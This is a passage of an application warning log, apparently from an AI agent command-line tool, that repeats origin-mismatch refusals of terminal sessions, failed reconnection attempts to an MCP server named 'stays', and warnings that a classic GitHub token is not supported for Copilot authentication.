origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:31,117 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:35,141 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:39,751 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:44,019 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:51:48,477 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-09-07 19:52:39,859 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 19:57:47,319 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:02:54,655 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:08:01,704 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:13:09,245 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:18:16,784 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:23:25,210 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:28:31,781 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:33:39,896 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:38:47,825 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:43:55,878 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:49:03,200 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:54:10,077 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 20:59:17,836 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:02:20,590 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:02:20,590 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:02:21,986 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:02:21,986 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:02:22,599 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:02:22,708 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:02:22,824 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:02:22,963 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:02:30,882 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:07:38,931 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:12:46,763 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:17:53,534 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:19:09,390 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:19:09,390 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:19:10,009 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:19:10,090 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:19:10,111 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:19:10,139 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:19:10,506 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:19:10,507 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:19:17,381 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:24:25,515 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:29:33,668 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:34:41,732 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:37:07,014 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:37:07,128 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:37:07,147 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:37:07,239 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:37:07,435 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:37:07,436 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:37:13,607 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:42:20,667 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:47:28,562 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:52:35,589 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 21:56:15,793 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:56:15,892 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:56:15,892 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:56:15,958 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:56:16,003 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-07 21:56:16,043 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-07 21:56:16,639 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:56:16,639 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-07 21:56:23,628 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:01:31,798 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:06:39,311 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:11:46,645 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:16:53,778 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:22:01,374 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:27:09,136 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:32:17,861 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:37:25,278 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:42:33,149 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:47:40,411 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:52:48,111 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 22:57:56,317 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:03:03,642 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:08:11,344 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:13:18,270 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:18:26,426 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:23:33,923 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:28:40,870 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:33:49,347 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:38:57,160 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:44:04,339 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:49:11,051 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:54:18,461 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-07 23:59:25,226 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:04:31,996 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:09:38,774 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:14:45,946 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:19:53,808 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:25:00,809 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:30:09,553 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:35:16,636 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:40:24,377 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:45:32,468 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:50:40,487 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 00:55:48,366 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:00:55,887 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:06:03,572 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:11:10,684 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:16:17,386 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:21:24,893 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:26:31,706 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:31:39,735 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:36:47,492 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:41:54,374 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:47:01,176 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:52:08,476 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 01:57:15,286 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:02:22,908 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:07:31,136 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:12:38,516 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:17:46,218 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:22:53,709 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:28:01,109 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:33:09,008 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:38:16,691 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:43:23,589 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:48:31,279 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:53:39,765 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 02:58:47,624 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:03:54,559 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:09:01,549 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:14:08,571 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:19:16,404 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:24:23,685 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:29:31,605 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:34:38,462 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:39:46,060 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:44:53,842 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:50:00,970 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 03:55:08,233 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:00:15,867 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:05:23,436 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:10:30,333 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:15:36,767 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:20:45,324 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:25:52,507 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:31:00,438 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:36:07,415 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:41:15,477 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:46:22,841 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:51:29,577 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 04:56:36,279 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:01:44,809 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:06:52,056 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:11:59,325 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:17:08,212 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:22:15,868 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:27:24,162 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:32:32,145 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:37:39,165 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:42:46,269 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:47:54,126 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:53:00,959 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 05:58:08,470 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:03:15,529 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:08:22,859 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:13:29,282 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:18:36,506 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:18:54,302 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 06:18:54,302 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 06:18:58,450 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 06:18:58,503 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 06:18:58,509 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-08 06:18:58,536 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-08 06:19:06,179 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-08 06:21:19,304 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-08 06:21:19,304 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 